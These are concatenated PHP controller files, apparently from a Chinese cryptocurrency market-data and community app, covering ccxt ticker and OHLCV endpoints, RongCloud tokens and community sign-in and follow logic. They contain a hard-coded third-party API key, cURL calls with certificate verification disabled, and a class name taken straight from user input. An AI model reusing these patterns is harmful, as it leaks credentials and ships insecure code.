$id = input('post.exchange');

$symbol = input('post.symbol');

$timeframe = input('post.timeframe');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id (array (

'enableRateLimit' => true,

));

$markets = $exchange->load\_markets();

if ($exchange->has['fetchOHLCV']) {

return json($exchange->fetch\_ohlcv ($symbol, $timeframe));

#foreach ($exchange->markets as $symbol => $market) {

# usleep ($exchange->rateLimit \* 1000);

# return json($exchange->fetch\_ohlcv ($symbol, '1M'));

#}

}

}

/\*\*

\* @api {post} /api/market/oclhv 蜡烛图（oclhv）

\* @apiName 蜡烛图（oclhv）

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\* @apiParam {String} symbol 交易对

\* @apiParam {String} timeframe 时间框架（需要先调用【返回交易所时间框架】获取交易所支持哪些时间框架）

\*/

public function oclhv()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$symbol = input('post.symbol');

$timeframe = input('post.timeframe');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id (array (

'enableRateLimit' => true,

));

$markets = $exchange->load\_markets();

if ($exchange->has['fetchOHLCV']) {

$ohlcv=$exchange->fetch\_ohlcv ($symbol, $timeframe);

$change\_of\_position=function($arr){

$ret=[$arr[0],$arr[1],$arr[4],$arr[3],$arr[2],$arr[5]];

return array\_values($ret);

};

return json(array\_map($change\_of\_position, $ohlcv));

}

}

/\*\*

\* @api {post} /api/market/exchange\_quote 返回交易所的报价货币

\* @apiName 返回交易所的报价货币

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\*/

public function exchange\_quote()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id ();

$markets = $exchange->load\_markets();

$symbol\_quote = function ($symbol) {

$arr = explode('/', $symbol);

return $arr[0];

};

$quote = array\_map($symbol\_quote, $exchange->symbols);

$quote\_unique = array\_unique($quote);

return array\_values($quote\_unique);

}

/\*\*

\* @api {post} /api/market/coin\_info 虚拟币详情

\* @apiName 虚拟币详情

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {String} coin 虚拟币

\* @apiSuccess {Number} id 虚拟币id

\* @apiSuccess {String} currency 虚拟币名称

\* @apiSuccess {String} fullname 虚拟币全称

\* @apiSuccess {String} icon 虚拟币icon

\* @apiSuccess {String} fullname\_zh 虚拟币中文全称

\* @apiSuccess {String} introduction\_zh 中文简介

\* @apiSuccess {String} release\_time 发布时间

\* @apiSuccess {String} release\_price 发布价格

\* @apiSuccess {String} white\_paper 白皮书

\* @apiSuccess {String} block\_url 区块链接

\* @apiSuccess {String} official\_website 官网

\* @apiSuccess {String} circulation 流通量

\* @apiSuccess {String} total\_circulation 发行量

\* @apiSuccess {String} follow\_num 加入自选数量

\* @apiSuccess {String} kind 虚拟币分类

\* @apiSuccess {String} follow 当前登录用户是否已经关注该虚拟币：1-是；0-否

\* @apiSuccess {String} public\_blockchain 公链

\* @apiSuccess {String} exchange\_num 上架交易所数量

\* @apiSuccess {Object} exchange 交易所

\* @apiSuccess {Number} exchange.id id

\* @apiSuccess {String} exchange.name 名称

\* @apiSuccess {String} exchange.exchange 标识（其他接口exchange参数使用这个字段）

\* @apiSuccess {String} exchange.logo logo

\* @apiSuccess {String} exchange.details 简介

\* @apiSuccess {String} exchange.address 地址

\* @apiSuccess {Number} exchange.symbol\_num 交易对数量

\* @apiSuccess {Number} exchange.score 评分

\* @apiSuccess {Number} exchange.market\_value 市值

\*/

public function coin\_info()

{

$validate = validate('Coin');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$where['currency']=input('post.coin');

$db=db('coin')->where($where)->find();

if($db) {

$platform\_where['exchange']=['in', array\_filter(explode(',', $db['exchange']))];

$db['exchange']=Db::name('platform')->where($platform\_where)->select();

$db['icon'] = '/public/coin/icon/' . strtolower($db['currency']) . '@2x.png';

$db['follow'] = 0;

if ($this->memberId) {

$db['follow'] = Db::name('member\_coin')

->where(['member\_id' => $this->memberId, 'coin\_id' => $db['id']])

->count('id');

}

return json($db);

}else

return json(['err'=>'未找到虚拟币']);

}

/\*\*

\* @api {post} /api/market/exchange\_timeframes 返回交易所时间框架

\* @apiName 返回交易所时间框架

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\*/

public function exchange\_timeframes()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id ();

$markets = $exchange->load\_markets();

return json($exchange->timeframes);

}

/\*\*

\* @api {post} /api/market/ticker 获取指定交易对实时行情

\* @apiName 获取指定交易对实时行情

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\* @apiParam {String} symbol 交易对

\* @apiSuccess {String} open 开盘价

\* @apiSuccess {String} high 24小时最高

\* @apiSuccess {String} low 24小时最低

\* @apiSuccess {String} close 收盘价

\* @apiSuccess {String} change 24小时价格变动

\* @apiSuccess {Number} percentage 24小时价格变动百分比

\* @apiSuccess {Number} base\_volume 24小时内基准货币交易量

\* @apiSuccess {Number} quote\_volume 24小时内报价货币交易量

\*/

public function ticker()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$symbol = input('post.symbol');

$where['symbol']=$symbol;

$ticker=Db::name('ticker')->where($where)->order('ticker\_timestamp DESC')->limit(1)->find();

if ($ticker) {

return json ($ticker);

}

}

/\*\*

\* @api {post} /api/market/kind 获取虚拟币分类

\* @apiName 获取虚拟币分类

\* @apiGroup 行情

\* @apiVersion 0.1.0

\*

\* @apiSuccess {String[]} data 应用分类

\*/

public function kind()

{

$kind=db('coin')->field('kind')->group('kind')->select();

return json(array\_values(array\_filter(array\_column($kind, 'kind'))));

}

/\*\*

\* @api {post} /api/market/symbol\_ticker 获取指定交易对实时行情列表

\* @apiName 获取指定交易对实时行情列表

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiUse MyPages

\* @apiParam {String} quote 报价货币，必填，建议使用USDT

\* @apiParam {String} exchange 交易所id，选填

\* @apiParam {String} kind 虚拟币分类，可选

\* @apiSuccess {Object} data 实时行情

\* @apiSuccess {String} data.currency 虚拟币名称

\* @apiSuccess {String} data.fullname 虚拟币全称

\* @apiSuccess {String} data.icon 虚拟币icon

\* @apiSuccess {String} data.fullname\_zh 虚拟币中文全称

\* @apiSuccess {String} data.describe 简介

\* @apiSuccess {String} data.introduction\_zh 中文简介

\* @apiSuccess {String} data.release\_time 发布时间

\* @apiSuccess {String} data.release\_price 发布价格

\* @apiSuccess {String} data.white\_paper 白皮书

\* @apiSuccess {String} data.block\_url 区块链接

\* @apiSuccess {String} data.official\_website 官网

\* @apiSuccess {String} data.circulation 流通量

\* @apiSuccess {String} data.total\_circulation 发行量

\* @apiSuccess {String} data.follow\_num 加入自选数量

\* @apiSuccess {String} data.kind 虚拟币分类

\* @apiSuccess {String} data.exchange 交易所

\* @apiSuccess {String} data.symbol 交易对

\* @apiSuccess {String} data.update\_time 时间日期，格式毫秒时间戳

\* @apiSuccess {String} data.last\_price 最新价格

\* @apiSuccess {String} data.open 开盘价

\* @apiSuccess {String} data.high 24小时最高

\* @apiSuccess {String} data.low 24小时最低

\* @apiSuccess {String} data.close 收盘价

\* @apiSuccess {String} data.change 24小时价格变动

\* @apiSuccess {Number} data.percentage 24小时价格变动百分比

\* @apiSuccess {Number} data.base\_volume 24小时内基准货币交易量

\* @apiSuccess {Number} data.quote\_volume 24小时内报价货币交易量

\*/

public function symbol\_ticker()

{

$id = input('param.exchange');

$pages = input('param.pages');

$quote = input('param.quote');

$kind = input('param.kind');

$coins\_where=array();

if($kind)

$coins\_where['kind']=$kind;

$coins = Db::name('coin')->where($coins\_where)->order('market\_value desc')->paginate($pages)->toarray();

if(!$coins['data'])

return json(['ret'=>'未找到虚拟币']);

$arr = array\_column($coins['data'], 'currency');

$symbol\_merge = function ($base) use ($quote) {

return "$base/$quote";

};

$symbol = array\_map($symbol\_merge, $arr);

$pre\_query=Db::name('ticker')->field('batch\_no')->order('ticker\_timestamp desc')->limit(1)->find();

#$ticker\_where['exchange'] = $id;

$ticker\_where['symbol'] = ['in', $symbol];

$ticker\_where['batch\_no'] = $pre\_query['batch\_no'];

$tickers=Db::name('ticker')->order('ticker\_timestamp desc')->where($ticker\_where)->select();

$attach\_icon=function($coin){

$coin['icon']= config()['appConfig']['prod\_url'].'/public/coin/icon/' . strtolower($coin['currency']) . '@2x.png';

return $coin;

};

$coins['data']=array\_map($attach\_icon, $coins['data']);

$attach\_ticker=function($coin) use ($tickers, $quote) {

$symbol=$coin['currency'] . '/' .$quote;

$ticker=array\_search($symbol, array\_column($tickers, 'symbol'));

if(false===$ticker)

return $coin + ['symbol'=>$symbol, 'last\_price'=>0, 'change'=>0, 'percentage'=>0, 'base\_volume'=>0];

else

return $coin + $tickers[$ticker];

};

$coins['data']=array\_map($attach\_ticker, $coins['data']);

return json($coins);

}

public function update\_base()

{

$id=input('post.exchange')?:'binance,huobi,bitfinex,coinbase,kraken,bithumb,bitstamp,ftx,bitflyer';

$exchange\_arr=array\_filter(explode(',',$id));

$symbol\_base=function($symbol) {

$arr = explode('/', $symbol);

return $arr[0];

};

$save\_exchange=function($exchange){

$db=db('platform')->where('exchange', $exchange)->find();

if(!$db)

db('platform')->insert(['name'=>$exchange, 'exchange'=>$exchange, 'kind'=>'交易所']);

return true;

};

$update\_exchange\_timeframes=function($exchange){

$db=Db::name('platform')->where('exchange', $exchange->id)->find();

if($db){

$db['timeframes']=implode(',', array\_keys($exchange->timeframes));

$db['symbol\_num']=count($exchange->symbols);

Db::name('platform')->where('exchange', $exchange->id)->update($db);

}

return true;

};

array\_map($save\_exchange, $exchange\_arr);

foreach ($exchange\_arr as $ex)

{

$exchange\_id = '\\ccxt\\' . $ex;

$exchange = new $exchange\_id ();

$markets = $exchange->load\_markets();

$currencies=array\_unique(array\_map($symbol\_base, $exchange->symbols));

$update\_exchange\_timeframes($exchange);

foreach ($currencies as $currency){

$where['currency']=$currency;

$db=Db::name('coin')->where($where)->find();

if($db){

$db['exchange']=implode(',',array\_unique(array\_filter(explode(',',$db['exchange'].','.$ex))));

Db::name('coin')->where($where)->update($db);

}else{

$db['currency']=$currency;

$db['exchange']=$ex;

Db::name('coin')->insert($db);

}

}

}

Db::name('coin')->where('currency', 'btc')->update(['kind'=>'DEFI']);

Db::name('coin')->where('currency', 'dfa')->update(['kind'=>'DEFI']);

Db::name('coin')->where('currency', 'eth')->update(['kind'=>'NEF']);

Db::name('coin')->where('currency', 'dat')->update(['kind'=>'NEF']);

exit('Done');

}

public function update\_ticker()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id (array (

'enableRateLimit' => true,

));

if ($exchange->has['fetchTickers']) {

$tickers = ($exchange->fetch\_tickers ());

}

if(!$tickers)

exit('None');

$where['exchange'] = $id;

$data['update\_time'] = (int)(microtime(true)\*1000);

$data['batch\_no'] = md5(uniqid(mt\_rand(), true));

foreach ($tickers as $ticker)

{

$data['exchange'] = $id;

$data['symbol'] = $ticker['symbol'];

$data['ticker\_timestamp'] = $ticker['timestamp'];

$data['base\_volume'] = $ticker['baseVolume'];

$data['quote\_volume'] = $ticker['quoteVolume'];

$data['last\_price'] = $ticker['last'];

$data['open'] = $ticker['open'];

$data['high'] = $ticker['high'];

$data['low'] = $ticker['low'];

$data['close'] = $ticker['close'];

$data['change'] = $ticker['change'];

$data['percentage'] = $ticker['percentage'];

$where['symbol'] = $ticker['symbol'];

$ret=Db::name('ticker')->insert($data);

}

Hook::listen('action\_log', $data['batch\_no']);

exit('Done');

}

public function update\_coin\_from\_6pai() {

set\_time\_limit(0);

echo '---Update Start---<br>';

Db::table('fx\_coin')->chunk(100, function($coins) {

$liuapi=function($currency) {

$url='http:

$params=array(

'appkey' => 'cad54e35284e0633a37411a8fd46a1cb',

'currency' => $currency,

'unit' => 'USDT'

);

$httph =curl\_init($url);

curl\_setopt($httph, CURLOPT\_SSL\_VERIFYPEER, FALSE);

curl\_setopt($httph, CURLOPT\_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");

curl\_setopt($httph, CURLOPT\_POST, 1);

curl\_setopt($httph, CURLOPT\_POSTFIELDS, $params);

curl\_setopt($httph, CURLOPT\_RETURNTRANSFER,TRUE);

curl\_setopt($httph, CURLOPT\_HEADER,FALSE);

$rst=curl\_exec($httph);

curl\_close($httph);

$data=json\_decode($rst);

return $data;

};

foreach ($coins as $coin) {

$apidata=$liuapi($coin['currency']);

if(200==$apidata->status){

$result=$apidata->result;

$coin['fullname']=$result->summary->fullname;

$coin['fullname\_zh']=$result->summary->fullname\_zh;

$coin['describe']=$result->summary->introduction\_zh;

$coin['introduction\_zh']=$result->summary->introduction\_zh;

$coin['white\_paper']=$result->summary->whitepaper;

$coin['circulation']=$result->summary->circulation;

$coin['market\_value']=$result->summary->circulation\_value;

$coin['block\_url']=$result->summary->blockchain\_site;

$coin['official\_website']=$result->summary->website;

$coin['total\_circulation']=$result->summary->total\_circulation;

Db::name('coin')->where('currency',$coin['currency'])->update($coin);

echo ' ' . $coin['currency'] . '更新完成---<br>';

}

}

});

echo '---Update End---<br>';

exit('Exit');

}

public function update\_platform\_from\_feixiaohao(){

$headers['User-Agent']='Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE';

$maxpage=100;

$page=1;

while($page <= $maxpage) {

$url='https:

$httph =curl\_init($url);

curl\_setopt($httph, CURLOPT\_SSL\_VERIFYPEER, FALSE);

curl\_setopt($httph, CURLOPT\_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");

curl\_setopt($httph, CURLOPT\_RETURNTRANSFER,TRUE);

curl\_setopt($httph, CURLOPT\_HTTPHEADER, $headers);

curl\_setopt($httph, CURLINFO\_HEADER\_OUT, true);

$rst=curl\_exec($httph);

curl\_close($httph);

$data=json\_decode($rst);

$page=$data->currpage;

$maxpage=$data->maxpage;

$page+=1;

foreach($data->data as $pf) {

$db=Db::name('platform')->where('exchange', $pf->id)->find();

$pfa=get\_object\_vars($pf);

$pfa['symbol\_num']=$pfa['pairnum'];

$pfa['exchange']=$pfa['id'];

$pfa['kind']='交易所';

unset($pfa['id']);

if($db)

Db::name('platform')->where('exchange', $pfa['exchange'])->strict(false)->update($pfa);

else

Db::name('platform')->strict(false)->insert($pfa);

}

}

exit('Done');

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Session;

use RongCloud\RongCloud;

class Rong extends Common

{

private $rong;

public $member=null;

public function \_\_construct($tokenaaa=''){

parent::\_\_construct();

$config=Db::name('member\_config')->where('name','switch')->value('text');

unset($data);

if(!$config || $config==0){

exit(json\_encode(['err'=>'会员未开放']));

}

$token=Session::get('user','ffxiangUser') ? Session::get('user','ffxiangUser') : input('post.token');

if(!$token){

if($tokenaaa){

$token=$tokenaaa;

}else{

echo json\_encode(['err'=>'token不正确']);

exit();

}

}

$uid=\_decrypt($token);

if(!$uid){

echo json\_encode(['err'=>'会员UID不正确，请重新获取token']);

exit();

}

$member=\_user($uid);

if($member){

switch ($member['hide']) {

case '0':

$recording=\_records($member['id'],'API操作,账户被禁止');

if($recording){

$data=['err'=>'无法登录，原因是账户已被封号'];

}

echo json\_encode($data);

break;

exit();

case '2':

$recording=\_records($member['id'],'API操作,账户正在审核');

if($recording){

$data=['err'=>'账户正在审核，请等待客服处理'];

}

echo json\_encode($data);

break;

exit();

case '3':

$recording=\_records($member['id'],'API操作，账户审核被拒绝');

if($recording){

$data=['err'=>'账户审核被拒绝，拒绝原因：'.$member['hidetent']];

}

echo json\_encode($data);

break;

exit();

}

}else{

echo json\_encode(['err'=>'会员不存在']);

exit();

}

$this->member=$member;

$config = config()['rong'];

$this->rong = new RongCloud($config['appKey'],$config['appSecret']);

}

public function token(){

$result = $this->rong->user()->getToken($this->member['id'], $this->member['username'], \_imgUrl().$this->member['img']);

return $result;

}

}

<?php

namespace app\api\controller;

use Qiniu\Auth;

use Qiniu\Storage\UploadManager;

use think\Db;

use think\Request;

class Circle extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

}

}

}

/\*\*

\* @api {post} /api/circle/create\_type 创建社区分类

\* @apiName 创建社区分类

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} title 社区分类名称（必填）

\* @apiParam {String} content 社区分类描述说明（非必填）

\* @apiSuccess {String} ret 社区分类创建成功

\* @apiError {String} err 社区分类创建失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function create\_type()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，然后创建社区分类',

'errcode' => 222,

]);

}

$data['title'] = input('param.title', '');

if ($data['title'] == '') {

return json([

'err' => '社区分类名称不可为空',

'errcode' => 201,

]);

}

$circle\_type = Db::name('circle\_type')

->where('title', $data['title'])

->find();

if (!empty($circle\_type)) {

return json([

'err' => '同名社区分类已存在，请更换社区分类名称',

'errcode' => 203,

]);

}

$data['content'] = input('param.content', '');

$data['hide'] = 0;

$data['create\_time'] = time();

$circle\_type\_id = Db::name('circle\_type')

->insertGetId($data);

if ($circle\_type\_id) {

return json([

'ret' => '社区分类创建成功，请等待后台审核',

]);

}

return json([

'err' => '社区分类创建失败，请稍后重试',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/circle/types 获取社区分类列表

\* @apiName 获取社区分类列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiSuccess {Json} circle\_types 用户社区分类列表

\* @apiSuccess {Integer} id 用户社区分类ID

\* @apiSuccess {String} title 用户社区分类标题

\* @apiSuccess {String} content 用户社区分类描述说明

\* @apiSuccess {Integer} circle\_num 用户社区数量

\*/

public function types()

{

$circle\_types = Db::name('circle\_type')

->order('des', 'desc')

->select();

if (count($circle\_types) > 0) {

foreach ($circle\_types as $key => $circle\_type) {

$circle\_types[$key]['circle\_num'] = Db::name('circle')

->where('type\_id', $circle\_type['id'])

->count('id');

}

}

return json($circle\_types);

}

/\*\*

\* @api {post} /api/circle/create 创建社区

\* @apiName 创建社区

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} title 社区名称（必填）

\* @apiParam {String} type\_id 社区分类ID（必填）

\* @apiParam {String} img 社区图标（七牛图片文件名，eg. 042e820210812091212723761.jpg）（必填）

\* @apiParam {String} content 描述说明（非必填）

\* @apiSuccess {String} ret 用户社区创建成功

\* @apiError {String} err 用户社区创建失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function create()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后创建社区',

'errcode' => 222,

]);

}

$data['title'] = input('param.title', '');

if ($data['title'] == '') {

return json([

'err' => '社区名称不可为空',

'errcode' => 201,

]);

}

$circle = Db::name('circle')

->where('title', $data['title'])

->find();

if (!empty($circle)) {

return json([

'err' => '同名社区已存在，请更换社区名称',

'errcode' => 203,

]);

}

$data['type\_id'] = input('param.type\_id', '');

$data['img'] = input('param.img', '');

$data['content'] = input('param.content', '');

$data['create\_time'] = time();

$data['hide'] = 1;

$circle\_id = Db::name('circle')

->insertGetId($data);

if ($circle\_id) {

Db::name('circle\_member')

->insert([

'circle\_id' => $circle\_id,

'member\_id' => $this->memberId,

'follow' => 1,

'punch\_in' => 0,

'punches' => 0,

'create\_time' => time(),

]);

return json([

'ret' => '用户社区创建成功，请等待后台审核',

]);

}

return json([

'err' => '用户社区创建失败，请稍后重试',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/circle/punch\_in 当前登录用户社区签到

\* @apiName 当前登录用户社区签到

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} circle\_id 用户社区ID（必填）

\* @apiSuccess {String} ret 用户社区签到成功

\* @apiSuccess {Integer} punches 用户社区连续签到次数

\* @apiSuccess {Integer} sort 用户社区签到排名

\* @apiSuccess {Integer} total\_sort 用户总榜签到排名

\* @apiError {String} err 用户社区签到失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function punch\_in()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后签到',

'errcode' => 222,

]);

}

$data['circle\_id'] = input('param.circle\_id', '');

if ($data['circle\_id'] == '') {

return json([

'err' => '用户社区ID不可为空',

'errcode' => 201,

]);

}

$circle = Db::name('circle')

->where('id', $data['circle\_id'])

->find();

if (empty($circle)) {

return json([

'err' => '该用户社区不存在',

'errcode' => 211,

]);

}

$circle\_member = Db::name('circle\_member')

->where($data)

->find();

if (empty($circle\_member)) {

return json([

'err' => '请先加入社区，然后签到',

'errcode' => 213,

]);

}

if ($circle\_member['follow'] == 1) {

if (!$circle\_member['update\_time']) {

Db::name('circle\_member')

->where($data)

->update([

'punch\_in' => 1,

'punches' => 1,

'update\_time' => time(),

]);

$sort = Db::name('circle\_member')

->where('circle\_id', $data['circle\_id'])

->where('update\_time', '>', strtotime('today'))

->count('id');

$total\_sort = Db::name('circle\_member')

->where('update\_time', '>', strtotime('today'))

->count('id');

return json([

'ret' => '用户社区签到成功',

'punches' => $circle\_member['punches'] + 1,

'sort' => $sort,

'total\_sort' => $total\_sort,

]);

} else {

if (time() - $circle\_member['update\_time'] > 3600 \* 24 && time() - $circle\_member['update\_time'] < 3600 \* 48) {

Db::name('circle\_member')

->where($data)

->update([

'punch\_in' => $circle\_member['punch\_in'] + 1,

'punches' => $circle\_member['punches'] + 1,

'update\_time' => time(),

]);

$sort = Db::name('circle\_member')

->where('circle\_id', $data['circle\_id'])

->where('update\_time', '>', strtotime('today'))

->count('id');

$total\_sort = Db::name('circle\_member')

->where('update\_time', '>', strtotime('today'))

->count('id');

return json([

'ret' => '用户社区签到成功',

'punches' => $circle\_member['punches'] + 1,

'sort' => $sort,

'total\_sort' => $total\_sort,

]);

} else if (time() - $circle\_member['update\_time'] > 3600 \* 48) {

Db::name('circle\_member')

->where($data)

->update([

'punch\_in' => $circle\_member['punch\_in'] + 1,

'punches' => 0,

'update\_time' => time(),

]);

$sort = Db::name('circle\_member')

->where('circle\_id', $data['circle\_id'])

->where('update\_time', '>', strtotime('today'))

->count('id');

$total\_sort = Db::name('circle\_member')

->where('update\_time', '>', strtotime('today'))

->count('id');

return json([

'ret' => '用户社区签到成功',

'punches' => 0,

'sort' => $sort,

'total\_sort' => $total\_sort,

]);

} else {

$sort = Db::name('circle\_member')

->where('circle\_id', $data['circle\_id'])

->where('update\_time', '>', strtotime('today'))

->where('update\_time', '<', $circle\_member['update\_time'])

->count('id');

$total\_sort = Db::name('circle\_member')

->where('update\_time', '>', strtotime('today'))

->where('update\_time', '<', $circle\_member['update\_time'])

->count('id');

return json([

'ret' => '今日你已签到',

'punches' => $circle\_member['punches'],

'sort' => $sort,

'total\_sort' => $total\_sort,

]);

}

}

} else {

return json([

'err' => '请先加入社区，然后签到',

'errcode' => 213,

]);

}

}

/\*\*

\* @api {post} /api/circle/follow 当前登录用户加入｜退出社区

\* @apiName 当前登录用户加入｜退出社区

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} circle\_id 用户社区ID（必填）

\* @apiSuccess {String} ret 用户加入｜退出社区成功

\* @apiSuccess {Integer} follow 标识位：0-退出；1-加入

\* @apiError {String} err 用户加入社区失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function follow()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后加入社区',

'errcode' => 222,

]);

}

$data['circle\_id'] = input('param.circle\_id', '');

if ($data['circle\_id'] == '') {

return json([

'err' => '用户社区ID不可为空',

'errcode' => 201,

]);

}

$circle = Db::name('circle')

->where('id', $data['circle\_id'])

->find();

if (!empty($circle)) {

$circle\_member = Db::name('circle\_member')

->where($data)

->find();

if (!empty($circle\_member)) {

if ($circle\_member['follow'] == 1) {

Db::name('circle\_member')

->where($data)

->update([

'follow' => 0,

'create\_time' => time(),

]);

Db::name('circle')

->where('id', $data['circle\_id'])

->setDec('follower\_num');

$content = '用户【' . $this->member['username'] . '】已退出您所创建的社区【' . $circle['title'] . '】';

notify($this->memberId, $circle['member\_id'], $content, '', '', $data['circle\_id']);

$content = '您已退出社区【' . $circle['title'] . '】';

notify($circle['member\_id'], $this->memberId, $content, '', '', $data['circle\_id']);

return json([

'ret' => '用户退出社区成功',

'follow' => 0,

]);

} else {

Db::name('circle\_member')

->where($data)

->update([

'follow' => 1,

'create\_time' => time(),

]);

Db::name('circle')

->where('id', $data['circle\_id'])

->setInc('follower\_num');

$content = '用户【' . $this->member['username'] . '】已加入你所创建的社区【' . $circle['title'] . '】';

notify($this->memberId, $circle['member\_id'], $content, '', '', $data['circle\_id']);

$content = '您已加入社区【' . $circle['title'] . '】';

notify($circle['member\_id'], $this->memberId, $content, '', '', $data['circle\_id']);

return json([

'ret' => '用户加入社区成功',

'follow' => 1,

]);

}

} else {

$data['follow'] = 1;

$data['punch\_in'] = 0;

$data['punches'] = 0;

$data['create\_time'] = time();

$circle\_member\_id = Db::name('circle\_member')

->insertGetId($data);

if ($circle\_member\_id) {

Db::name('circle')

->where('id', $data['circle\_id'])

->setInc('follower\_num');

$content = '用户【' . $this->member['username'] . '】已加入你所创建的社区【' . $circle['title'] . '】';

notify($this->memberId, $circle['member\_id'], $content, '', '', $data['circle\_id']);

$content = '您已加入社区【' . $circle['title'] . '】';

notify($circle['member\_id'], $this->memberId, $content, '', '', $data['circle\_id']);

return json([

'ret' => '用户加入社区成功',

'follow' => 1,

]);

}

}

} else {

return json([

'err' => '该用户社区不存在',

'errcode' => 211,

]);

}

return json([

'err' => '用户加入社区失败，请稍后重试',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/circle/followed\_list 获取当前用户关注的社区列表

\* @apiName 获取当前用户关注的社区列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 当前用户关注的社区列表

\* @apiSuccess {Integer} id 用户社区ID

\* @apiSuccess {String} title 用户社区标题

\* @apiSuccess {String} content 用户社区描述说明

\* @apiSuccess {String} type 用户社区所属分类

\* @apiSuccess {Integer} follow 当前用户是否已关注社区：1-是；0-否

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function followed\_list()

{

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 6);

$followed\_circle\_ids = [];

if ($this->memberId) {

$followed\_circles = Db::name('circle\_member')

->where('member\_id', $this->memberId)

->where('follow', 1)

->field('circle\_id')

->select();

if (count($followed\_circles) > 0) {

foreach ($followed\_circles as $followed\_circle) {

$followed\_circle\_ids[] = $followed\_circle['circle\_id'];

}

} else {

$circles = [

"total" => 0,

"per\_page" => 10,

"current\_page" => 1,

"data" => [],

];

return json($circles);

}

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

if (count($followed\_circle\_ids) > 0) {

$circles = Db::name('circle')

->where('id', 'in', $followed\_circle\_ids)

->order('des', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

} else {

$circles = [

"total" => 0,

"per\_page" => 10,

"current\_page" => 1,

"data" => [],

];

}

if (count($circles['data']) > 0) {

foreach ($circles['data'] as $key => $circle) {

if (!$circle['img']) {

$circles['data'][$key]['img'] = '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

} else {

$circles['data'][$key]['img'] = \_imgUrl() . $circle['img'];

}

$circles['data'][$key]['des'] = is\_null($circle['des']) ? 0 : $circle['des'];

$circles['data'][$key]['hide'] = is\_null($circle['hide']) ? 0 : $circle['hide'];

$circles['data'][$key]['article\_num'] = is\_null($circle['article\_num']) ? 0 : $circle['article\_num'];

$circles['data'][$key]['follower\_num'] = is\_null($circle['follower\_num']) ? 0 : $circle['follower\_num'];

